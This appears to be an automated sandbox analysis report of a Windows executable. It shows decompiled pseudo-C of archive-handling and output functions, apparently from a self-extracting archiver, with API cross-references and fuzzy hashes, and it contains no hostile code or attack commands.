0x00000000
0x00000000
0x00000000
0x0125bd1f
0x0125bd1f
0x0125bd24
0x0125bd27
0x0125bd32
0x0125bd47
0x0125bd47
0x0125bd4f
0x0125bd5d
0x0125bd7b
0x0125bd84
0x0125bd88
0x0125bd88
0x0125bd96
0x0125bd9b
0x0125bda1
0x0125bdaa
0x00000000

APIs

strlen.MSVCRT ref: 0125BD5D
strlen.MSVCRT ref: 0125BD6B
strlen.MSVCRT ref: 0125BDDB
fputs.MSVCRT ref: 0125BE41

Strings

, xrefs: 0125BDF5

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: strlen$fputs
String ID:
API String ID: 1552308726-399585960
Opcode ID: 0bf5f96510b06473f845ae718ea200897ba5327b8e2eedf575982fbc900ed71d
Instruction ID: 6aa1d91992b58dfd6b5336a7d80d7861bc2be207c257750d9fab5c2b56a38364
Opcode Fuzzy Hash: 0bf5f96510b06473f845ae718ea200897ba5327b8e2eedf575982fbc900ed71d
Instruction Fuzzy Hash: D741A43191021A9BDF65EFA8C490BED77B6EF54300F15446DDA16A7290DF34AE88DB80

Uniqueness

Uniqueness Score: -1.00%

Function 01260965 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E01260965(intOrPtr* __ecx, struct _IO_FILE** __edx) {
				void* _t18;
				void* _t25;
				struct _IO_FILE** _t28;
				signed int _t45;
				intOrPtr* _t48;
				void* _t50;

				E012639E0(0x1267878, _t50);
				_t48 = __ecx;
				_t45 = 0;
				_t28 = __edx;
				_t55 =  *((intOrPtr*)(__ecx + 4));
				if( *((intOrPtr*)(__ecx + 4)) > 0) {
					do {
						E01231E52( *((intOrPtr*)( *__ecx + _t45 * 4)));
						fputs(" : ",  *__edx);
						_push( *((intOrPtr*)(E01234B4D(_t50 - 0x18,  *((intOrPtr*)( *((intOrPtr*)(_t48 + 0xc)) + _t45 * 4)), _t55))));
						 *(_t50 - 4) =  *(_t50 - 4) & 0x00000000;
						_t25 = E01231CAE(E01231CC1(_t28));
						 *(_t50 - 4) =  *(_t50 - 4) | 0xffffffff;
						E01231ABD(_t25,  *((intOrPtr*)(_t50 - 0x18)));
						_t45 = _t45 + 1;
					} while (_t45 <  *((intOrPtr*)(_t48 + 4)));
				}
				fputs("----------------",  *_t28);
				_t18 = E01231CAE(_t28);
				 *[fs:0x0] =  *((intOrPtr*)(_t50 - 0xc));
				return _t18;
			}

0x0126096a
0x01260975
0x01260977
0x01260979
0x0126097b
0x0126097e
0x01260980
0x01260987
0x01260993
0x012609a9
0x012609ab
0x012609b8
0x012609bd
0x012609c4
0x012609c9
0x012609cb
0x01260980
0x012609d7
0x012609e1
0x012609ec
0x012609f4

APIs

__EH_prolog.LIBCMT ref: 0126096A
fputs.MSVCRT ref: 01260993

Part of subcall function 01234B4D: __EH_prolog.LIBCMT ref: 01234B52

Part of subcall function 01231CC1: __EH_prolog.LIBCMT ref: 01231CC6
Part of subcall function 01231CC1: fputs.MSVCRT ref: 01231D39

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

fputs.MSVCRT ref: 012609D7

Strings

: , xrefs: 0126098E
----------------, xrefs: 012609D2

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prologfputs$fputcfree
String ID: : $----------------
API String ID: 1941438168-4071417161
Opcode ID: 9cb86692ed37a26b3511c055328210849ff93b104327b41f139aeb15b2c0b513
Instruction ID: 1adba419216d980096ee3a41f9cabad7ce70c2fe0da623146f49912c6524e163
Opcode Fuzzy Hash: 9cb86692ed37a26b3511c055328210849ff93b104327b41f139aeb15b2c0b513
Instruction Fuzzy Hash: C1019232B10202DFCB29AF69E845A6DBBA6FFD4760F10457DE052972E0CF31AC549B45

Uniqueness

Uniqueness Score: -1.00%

Function 012623CF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E012623CF(void* __ecx, void* __edx) {
				struct _IO_FILE** _t16;
				void* _t41;
				void* _t44;

				E012639E0(0x1267ad0, _t44);
				_t41 = __ecx;
				_t16 =  *(__ecx + 0xb8);
				if(_t16 != 0) {
					fputs("Write SFX: ",  *_t16);
					_push( *((intOrPtr*)(_t44 + 8)));
					E01231CC1( *(_t41 + 0xb8));
					E01232351(_t44 - 0x18, " : ");
					 *(_t44 - 4) =  *(_t44 - 4) & 0x00000000;
					E0125A4C9(_t44 - 0x18,  *((intOrPtr*)(_t44 + 0xc)),  *((intOrPtr*)(_t44 + 0x10)));
					fputs( *(_t44 - 0x18),  *( *(_t41 + 0xb8)));
					E01231ABD(E01231CAE( *(_t41 + 0xb8)),  *(_t44 - 0x18));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t44 - 0xc));
				return 0;
			}

0x012623d4
0x012623dd
0x012623df
0x012623e7
0x012623f7
0x012623fb
0x01262404
0x01262411
0x01262419
0x01262423
0x01262433
0x01262441
0x01262447
0x0126244e
0x01262456

APIs

__EH_prolog.LIBCMT ref: 012623D4
fputs.MSVCRT ref: 012623F7

Part of subcall function 01231CC1: __EH_prolog.LIBCMT ref: 01231CC6
Part of subcall function 01231CC1: fputs.MSVCRT ref: 01231D39

fputs.MSVCRT ref: 01262433

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Strings

: , xrefs: 01262409
Write SFX: , xrefs: 012623F2

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prolog$fputcfree
String ID: : $Write SFX:
API String ID: 2632947726-2530961540
Opcode ID: e522e9a4affab2e152327b0da131920806d4a89614b2ce5ae07d82139b95f932
Instruction ID: f65ec7f66fc129148c9550dc85fdd82e34122a50711e6d2ef54e1f9b2802f7f4
Opcode Fuzzy Hash: e522e9a4affab2e152327b0da131920806d4a89614b2ce5ae07d82139b95f932
Instruction Fuzzy Hash: 10018432620205EFCB05AFA5EC02AADBBB9EF94210F10441EE505A21E0CF716965DB91

Uniqueness

Uniqueness Score: -1.00%

Function 012605EE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E012605EE(char __edx) {
				char _v8;
				void* __ecx;
				int _t6;
				char* _t12;
				void* _t13;
				intOrPtr _t14;
				struct _IO_FILE** _t16;
				char _t22;
				void* _t23;
				struct _IO_FILE** _t28;
				void* _t29;
				struct _IO_FILE** _t30;

				_t22 = __edx;
				_push(_t16);
				_t28 =  *0x1274700; // 0x1274438
				_v8 = __edx;
				_t12 = _t16;
				if(_t28 != 0) {
					E01231CAE(_t28);
					fputs("ERROR: ",  *_t28);
					fputs(_t12,  *_t28);
					_t16 = _t28;
					E01231CAE(_t16);
					_t23 = _t23;
				}
				_t6 =  &_v8;
				L01263CAC();
				_t29 = _t6;
				_t13 = 0x1272678;
				_push(_t13);
				_push(_t29);
				_t30 = _t16;
				_push(_t23);
				_t14 = _t22;
				if(_t30 != 0) {
					_t6 = fputs( *0x126b780,  *_t30);
					if(_t14 != 0) {
						_t6 = fputs( *0x126b784,  *_t30);
					}
				}
				return _t6;
			}

0x012605ee
0x012605f1
0x012605f4
0x012605fa
0x012605ff
0x01260601
0x01260606
0x01260618
0x0126061d
0x01260622
0x01260624
0x01260629
0x01260629
0x01260635
0x01260639
0x0126063e
0x0126063f
0x01260640
0x01260641
0x01260642
0x01260644
0x01260647
0x01260649
0x01260659
0x0126065f
0x01260669
0x0126066c
0x0126065f
0x01260670

APIs

_CxxThrowException.MSVCRT(?,01272678), ref: 01260639

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

fputs.MSVCRT ref: 01260618
fputs.MSVCRT ref: 0126061D

Strings

ERROR: , xrefs: 01260613
@F#v, xrefs: 0126060B, 0126061A

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$ExceptionThrowfputc
String ID: @F#v$ERROR:
API String ID: 2339886702-2290806686
Opcode ID: fde370f21a34278a35211b0c97371f26e597ccec036fb7e60fe1709414935227
Instruction ID: 0418112b5df9d447864f9d9ea35dc6ce4dc8d35e5d21aba5d6744c8e70e5825e
Opcode Fuzzy Hash: fde370f21a34278a35211b0c97371f26e597ccec036fb7e60fe1709414935227
Instruction Fuzzy Hash: EFF03771E11219FF8B15AB9EDD4085EB7ADEF98610711045AE600A3250D6715E509BD1

Uniqueness

Uniqueness Score: -1.00%

Function 01237F3B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E01237F3B() {
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				char _v288;
				struct HINSTANCE__* _t6;
				_Unknown_base(*)()* _t8;
				void* _t12;

				_t6 = GetModuleHandleW(L"ntdll.dll");
				if(_t6 == 0) {
					L6:
					return 0;
				} else {
					_t8 = GetProcAddress(_t6, "RtlGetVersion");
					if(_t8 == 0) {
						goto L6;
					} else {
						 *_t8( &_v288);
						if(_v272 != 2 || _v280 + _v284 != 0xa || _v276 > 0x3fab) {
							goto L6;
						} else {
							_t12 = 1;
							return _t12;
						}
					}
				}
			}

0x01237f49
0x01237f51
0x01237f99
0x01237f9c
0x01237f53
0x01237f59
0x01237f61
0x00000000
0x01237f63
0x01237f6a
0x01237f73
0x00000000
0x01237f94
0x01237f96
0x01237f98
0x01237f98
0x01237f73
0x01237f61

APIs

GetModuleHandleW.KERNEL32(ntdll.dll), ref: 01237F49
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 01237F59

Strings

ntdll.dll, xrefs: 01237F44
Nqt, xrefs: 01237F59
RtlGetVersion, xrefs: 01237F53

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll$Nqt
API String ID: 1646373207-3798370657
Opcode ID: c25c4aa509ee81c7daaa8d4fe59d6326a364040e2bd3305832c2f29934d069da
Instruction ID: 03306e6fdbe137433c631b4776d4a79b5e3cd33c77cee4034a614fef5971905d
Opcode Fuzzy Hash: c25c4aa509ee81c7daaa8d4fe59d6326a364040e2bd3305832c2f29934d069da
Instruction Fuzzy Hash: 84F0A0F0B2031A8FDF34DB25AC4AADA77B86B82705F0405D8E309E10C1DAB4C9C0CE91

Uniqueness

Uniqueness Score: -1.00%

Function 01246AD8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E01246AD8(void* __ecx) {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t3;
				void* _t5;
				void* _t7;

				_t7 = __ecx;
				_t1 = GetModuleHandleW(L"ntdll.dll");
				if(_t1 == 0) {
					L2:
					return 0;
				} else {
					_t3 = GetProcAddress(_t1, "RtlGetVersion");
					if(_t3 != 0) {
						 *_t3(_t7);
						_t5 = 1;
						return _t5;
					} else {
						goto L2;
					}
				}
			}

0x01246ad9
0x01246ae0
0x01246ae8
0x01246afa
0x01246afd
0x01246aea
0x01246af0
0x01246af8
0x01246aff
0x01246b03
0x01246b05
0x00000000
0x00000000
0x00000000
0x01246af8

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,?,01243C27), ref: 01246AE0
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 01246AF0

Strings

ntdll.dll, xrefs: 01246ADB
Nqt, xrefs: 01246AF0
RtlGetVersion, xrefs: 01246AEA

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll$Nqt
API String ID: 1646373207-3798370657
Opcode ID: af69e32b7ce1c76814e61d5d668591823f46abe1703476dd82ce6b5a4ac498d5
Instruction ID: c0897c562c45f1c6d9d79763099433a4cc32ca6e9b079d7aae52d5299b568730
Opcode Fuzzy Hash: af69e32b7ce1c76814e61d5d668591823f46abe1703476dd82ce6b5a4ac498d5
Instruction Fuzzy Hash: B8D0A732374321AFFAB4677A3C0DAD6164C9B115117044065F602D1094EED088820151

Uniqueness

Uniqueness Score: -1.00%

Function 012633D0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 15
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E012633D0() {
				signed int _t4;

				_t4 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetLargePageMinimum");
				if(_t4 != 0) {
					_t4 =  *_t4();
					if(_t4 != 0) {
						_t1 = _t4 - 1; // -1
						if((_t4 & _t1) == 0) {
							 *0x1274720 = _t4;
							return _t4;
						}
					}
				}
				return _t4;
			}

0x012633e1
0x012633e9
0x012633eb
0x012633ef
0x012633f1
0x012633f6
0x012633f8
0x00000000
0x012633f8
0x012633f6
0x012633ef
0x012633fd

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetLargePageMinimum,0123B835), ref: 012633DA
GetProcAddress.KERNEL32(00000000), ref: 012633E1

Strings

Nqt, xrefs: 012633E1
GetLargePageMinimum, xrefs: 012633D0
kernel32.dll, xrefs: 012633D5

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressHandleModuleProc
String ID: GetLargePageMinimum$kernel32.dll$Nqt
API String ID: 1646373207-522521724
Opcode ID: 505850d062ada1751bf67b2978dcda1f362049a307ff13c933c41725aa130dac
Instruction ID: 4b0ce56a167f908edb2f18cfcc5ba6e18bf7c837bde14ec3cc98f33bb850259a
Opcode Fuzzy Hash: 505850d062ada1751bf67b2978dcda1f362049a307ff13c933c41725aa130dac
Instruction Fuzzy Hash: 73D0C970360383CAAB34ABAAEC0E71A7A6CFE20542340005CE645D11D8EF20D1A0C761

Uniqueness

Uniqueness Score: -1.00%

Function 01258DF0 Relevance: 7.8, APIs: 5, Instructions: 348
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E01258DF0() {
				signed int _t163;
				signed int _t165;
				signed int _t166;
				intOrPtr* _t168;
				signed int _t170;
				intOrPtr _t185;
				signed int _t186;
				signed int _t191;
				intOrPtr _t199;
				signed int _t208;
				signed int _t211;
				signed int _t221;
				signed int _t226;
				signed int _t230;
				void* _t235;
				void* _t236;
				void* _t242;
				signed int _t245;
				signed int _t247;
				intOrPtr _t249;
				signed int _t257;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				signed int* _t301;
				signed int _t303;
				signed int _t304;
				signed int _t306;
				void* _t307;
				void* _t309;

				E012639E0(0x1266f42, _t307);
				_t299 =  *(_t307 + 8);
				 *( *(_t307 + 0x10)) = 0;
				 *((intOrPtr*)(_t307 - 0x10)) = _t309 - 0x74;
				_t249 =  *((intOrPtr*)( *((intOrPtr*)(_t299 + 0x90))));
				 *(_t307 - 4) = 0;
				_t163 =  *(_t307 + 0xc) +  *(_t307 + 0xc) * 4;
				_t242 = _t249 + _t163 * 4;
				if( *((char*)(_t249 + _t163 * 4)) != 0) {
					_t165 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t299 + 0x78)))) + 0x10))();
					__eflags = _t165;
					if(_t165 != 0) {
						goto L63;
					}
					_t166 = E012591F7(_t299 - 4, _t242);
					__eflags =  *((char*)(_t242 + 3));
					 *(_t307 + 8) = _t166;
					if( *((char*)(_t242 + 3)) == 0) {
						_t168 = E0124709D( *((intOrPtr*)(_t299 + 0x7c)), _t307 - 0x28,  *(_t242 + 4));
						 *(_t307 - 4) = 4;
						_t170 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t299 + 0x78)))) + 0x18))( *_t168,  *(_t307 + 8), 0,  *(_t307 + 0x14));
						 *(_t307 - 4) =  *(_t307 - 4) & 0x00000000;
						_t296 = _t170;
						E01231ABD(_t170,  *((intOrPtr*)(_t307 - 0x28)));
						__eflags = _t296;
						if(_t296 == 0) {
							__eflags =  *(_t307 + 8);
							if( *(_t307 + 8) != 0) {
								L62:
								_t165 = 0;
								goto L63;
							}
							__eflags =  *((char*)(_t299 + 0xa2));
							if( *((char*)(_t299 + 0xa2)) == 0) {
								_push(0x58);
								_t257 = E01231A96();
								 *(_t307 + 0x14) = _t257;
								__eflags = _t257;
								 *(_t307 - 4) = 5;
								if(_t257 == 0) {
									_t297 = 0;
									__eflags = 0;
								} else {
									_t297 = E0123929A(_t257);
								}
								 *(_t307 - 4) =  *(_t307 - 4) & 0x00000000;
								 *(_t307 + 8) = _t297;
								__eflags = _t297;
								if(_t297 != 0) {
									 *((intOrPtr*)( *_t297 + 4))(_t297);
								}
								 *((char*)(_t297 + 0x48)) =  *((intOrPtr*)(_t299 + 0xa5));
								asm("sbb eax, eax");
								 *(_t307 - 4) = 6;
								 *(_t297 + 0x4c) =  ~(_t299 - 4) & _t299 + 0x0000001c;
								 *(_t297 + 0x50) =  *(_t307 + 0xc);
								E01247072( *((intOrPtr*)(_t299 + 0x7c)), _t307 - 0x1c,  *(_t242 + 4));
								 *(_t307 - 4) = 7;
								E01231553(_t299 + 0x3c,  *(_t307 + 0xc));
								_push(_t307 - 0x1c);
								E0123150C(_t299 + 0x48);
								_t185 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t299 + 0x7c)) + 0x24)) +  *(_t242 + 4) * 4));
								__eflags =  *(_t185 + 0x30);
								if(__eflags != 0) {
									L38:
									_push(0x2200000);
									_push(3);
									_push(1);
									_push(0);
									_push( *((intOrPtr*)(_t307 - 0x1c)));
									_t99 = _t297 + 0x18; // 0x18
									_t186 = E012363E5(_t99, __eflags);
									__eflags = _t186;
									if(_t186 != 0) {
										goto L54;
									}
									_t303 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t299 + 0x78)))) + 0x1c))(_t307 - 0x1c, GetLastError());
									E01231ABD(_t203,  *((intOrPtr*)(_t307 - 0x1c)));
									 *(_t307 - 4) =  *(_t307 - 4) & 0x00000000;
									__eflags = _t297;
									if(_t297 != 0) {
										 *((intOrPtr*)( *_t297 + 8))(_t297);
									}
									goto L41;
								} else {
									__eflags =  *(_t185 + 0x38);
									if(__eflags == 0) {
										 *(_t307 + 0x14) =  *((intOrPtr*)(_t299 + 0xa0));
										_t208 = E012368A5( *((intOrPtr*)(_t307 - 0x1c)),  *(_t307 + 0x14));
										__eflags = _t208;
										if(_t208 != 0) {
											L54:
											__eflags =  *((char*)(_t299 + 0xa5));
											if( *((char*)(_t299 + 0xa5)) != 0) {
												_t129 = _t297 + 0xc; // 0xc
												_t191 =  *((intOrPtr*)( *((intOrPtr*)(_t297 + 0xc)) + 0xc))(_t129, _t307 - 0x80);
												__eflags = _t191;
												if(_t191 == 0) {
													__eflags =  *((intOrPtr*)(_t307 - 0x60)) - 1;
													if( *((intOrPtr*)(_t307 - 0x60)) > 1) {
														 *((intOrPtr*)(_t307 - 0x40)) =  *((intOrPtr*)(_t307 - 0x78));
														 *((intOrPtr*)(_t307 - 0x3c)) =  *((intOrPtr*)(_t307 - 0x74));
														 *((intOrPtr*)(_t307 - 0x38)) =  *((intOrPtr*)(_t307 - 0x70));
														 *((intOrPtr*)(_t307 - 0x34)) =  *((intOrPtr*)(_t307 - 0x6c));
														 *(_t307 - 0x30) =  *(_t307 + 0xc);
														 *(_t307 + 0x14) =  *(_t299 + 0x2c);
														_t199 = E0125983A(_t299 + 0x28, _t307 - 0x40);
														__eflags =  *(_t307 + 0x14) -  *(_t299 + 0x2c);
														if( *(_t307 + 0x14) ==  *(_t299 + 0x2c)) {
															 *(_t299 + 0x34) =  *(_t307 + 0xc);
															 *((intOrPtr*)(_t299 + 0x38)) = _t199;
														}
													}
												}
											}
											_t301 = _t299 + 0xa8;
											 *(_t307 + 0xc) = _t301;
											__eflags =  *_t301;
											if( *_t301 != 0) {
												EnterCriticalSection(0x12746a8);
												 *((char*)( *(_t242 + 4) +  *( *(_t307 + 0xc)))) = 1;
												LeaveCriticalSection(0x12746a8);
											}
											 *( *(_t307 + 0x10)) = _t297;
											E01231ABD( *(_t307 + 0x10),  *((intOrPtr*)(_t307 - 0x1c)));
											goto L62;
										}
										_t245 = GetLastError();
										_t211 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t299 + 0x78)))) + 0x1c))(_t307 - 0x1c, _t245);
										__eflags =  *((char*)(_t299 + 0xa1));
										 *(_t307 + 0xc) = _t211;
										if( *((char*)(_t299 + 0xa1)) == 0) {
											L51:
											E01231ABD(_t211,  *((intOrPtr*)(_t307 - 0x1c)));
											 *(_t307 - 4) =  *(_t307 - 4) & 0x00000000;
											__eflags = _t297;
											if(_t297 != 0) {
												 *((intOrPtr*)( *_t297 + 8))(_t297);
											}
											_t165 =  *(_t307 + 0xc);
											goto L63;
										}
										__eflags = _t211;
										if(_t211 == 0) {
											L46:
											__eflags = _t245;
											if(_t245 > 0) {
												_t245 = _t245 & 0x0000ffff | 0x80070000;
												__eflags = _t245;
											}
											E01231ABD(_t211,  *((intOrPtr*)(_t307 - 0x1c)));
											 *(_t307 - 4) =  *(_t307 - 4) & 0x00000000;
											__eflags = _t297;
											if(_t297 != 0) {
												 *((intOrPtr*)( *_t297 + 8))(_t297);
											}
											_t165 = _t245;
											goto L63;
										}
										__eflags = _t211 - 1;
										if(_t211 != 1) {
											goto L51;
										}
										goto L46;
									}
									goto L38;
								}
							}
							__eflags =  *(_t307 + 0x14);
							if( *(_t307 + 0x14) == 0) {
								L25:
								_push(8);
								_t221 = E01231A96();
								__eflags = _t221;
								if(_t221 == 0) {
									_t304 = 0;
									__eflags = 0;
								} else {
									 *(_t221 + 4) =  *(_t221 + 4) & 0x00000000;
									 *_t221 = 0x1269848;
									_t304 = _t221;
								}
								__eflags = _t304;
								if(_t304 != 0) {
									 *((intOrPtr*)( *_t304 + 4))(_t304);
								}
								 *( *(_t307 + 0x10)) = _t304;
								goto L62;
							}
							__eflags =  *(_t307 + 0x14) - 1;
							if( *(_t307 + 0x14) != 1) {
								goto L62;
							}
							goto L25;
						}
						_t165 = _t296;
					} else {
						E012328E9(_t307 - 0x28);
						_t226 =  *(_t242 + 8);
						 *(_t307 - 4) = 1;
						__eflags = _t226;
						if(_t226 < 0) {
							_t247 =  *(_t242 + 4);
							__eflags = _t247;
							if(_t247 >= 0) {
								_t235 = E0124709D( *((intOrPtr*)(_t299 + 0x7c)), _t307 - 0x1c, _t247);
								 *(_t307 - 4) = 2;
								_t236 = E01232A8C(_t307 - 0x28, _t235);
								 *(_t307 - 4) = 1;
								E01231ABD(_t236,  *((intOrPtr*)(_t307 - 0x1c)));
							}
						} else {
							E01232A8C(_t307 - 0x28,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t299 + 0x8c)))) + _t226 * 4)) + 0x10);
						}
						_t228 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t299 + 0x78)))) + 0x18))( *((intOrPtr*)(_t307 - 0x28)),  *(_t307 + 8), 1,  *(_t307 + 0x14));
						__eflags = _t228;
						if(_t228 == 0) {
							__eflags =  *(_t307 + 8);
							if( *(_t307 + 8) == 0) {
								_push(0x20);
								_t230 = E01231A96();
								__eflags = _t230;
								if(_t230 == 0) {
									_t306 = 0;
									__eflags = 0;
								} else {
									 *((intOrPtr*)(_t230 + 4)) = 0;
									 *((intOrPtr*)(_t230 + 0x1c)) = 0;
									 *_t230 = 0x126862c;
									_t306 = _t230;
								}
								__eflags = _t306;
								 *(_t307 + 0xc) = _t306;
								if(_t306 != 0) {
									 *((intOrPtr*)( *_t306 + 4))(_t306);
								}
								 *((intOrPtr*)(_t306 + 0x10)) = 0;
								_t43 = _t306 + 0x1c; // 0x1c
								 *(_t307 - 4) = 3;
								 *((intOrPtr*)(_t306 + 8)) = 0;
								 *((intOrPtr*)(_t306 + 0x18)) = 0;
								 *((intOrPtr*)(_t306 + 0x14)) = 0;
								E01240E48(_t43, 0);
								_t228 =  *(_t307 + 0x10);
								 *( *(_t307 + 0x10)) = _t306;
							}
							_t303 = 0;
							__eflags = 0;
						} else {
							_t303 = _t228;
						}
						E01231ABD(_t228,  *((intOrPtr*)(_t307 - 0x28)));
						L41:
						_t165 = _t303;
					}
					goto L63;
				} else {
					_t165 = 0x80004005;
					L63:
					 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0xc));
					return _t165;
				}
			}

0x01258df5
0x01258e02
0x01258e08
0x01258e13
0x01258e16
0x01258e18
0x01258e1b
0x01258e22
0x01258e25
0x01258e36
0x01258e39
0x01258e3b
0x00000000
0x00000000
0x01258e45
0x01258e4a
0x01258e4e
0x01258e51
0x01258f37
0x01258f44
0x01258f50
0x01258f56
0x01258f5a
0x01258f5c
0x01258f61
0x01258f64
0x01258f6d
0x01258f71
0x012591d7
0x012591d7
0x00000000
0x012591d7
0x01258f77
0x01258f7e
0x01258fc0
0x01258fc8
0x01258fca
0x01258fcd
0x01258fcf
0x01258fd3
0x01258fde
0x01258fde
0x01258fd5
0x01258fda
0x01258fda
0x01258fe0
0x01258fe4
0x01258fe7
0x01258fe9
0x01258fee
0x01258fee
0x01258ffa
0x01259002
0x01259004
0x0125900a
0x01259010
0x0125901d
0x01259028
0x0125902c
0x01259037
0x01259038
0x01259046
0x0125904b
0x0125904e
0x01259055
0x01259055
0x0125905a
0x0125905c
0x0125905e
0x0125905f
0x01259062
0x01259065
0x0125906a
0x0125906c
0x00000000
0x00000000
0x0125908b
0x0125908d
0x01259092
0x01259097
0x01259099
0x0125909e
0x0125909e
0x00000000
0x01259050
0x01259050
0x01259053
0x012590b1
0x012590ba
0x012590bf
0x012590c1
0x0125913a
0x0125913a
0x01259141
0x01259146
0x0125914e
0x01259151
0x01259153
0x01259155
0x01259159
0x01259161
0x01259167
0x0125916d
0x01259173
0x01259179
0x0125917f
0x01259186
0x0125918e
0x01259191
0x01259196
0x01259199
0x01259199
0x01259191
0x01259159
0x01259153
0x0125919c
0x012591a2
0x012591a5
0x012591a8
0x012591b0
0x012591bf
0x012591c3
0x012591c3
0x012591cf
0x012591d1
0x00000000
0x012591d6
0x012590cc
0x012590d5
0x012590d8
0x012590df
0x012590e2
0x0125911b
0x0125911e
0x01259123
0x01259128
0x0125912a
0x0125912f
0x0125912f
0x01259132
0x00000000
0x01259132
0x012590e4
0x012590e6
0x012590ed
0x012590ed
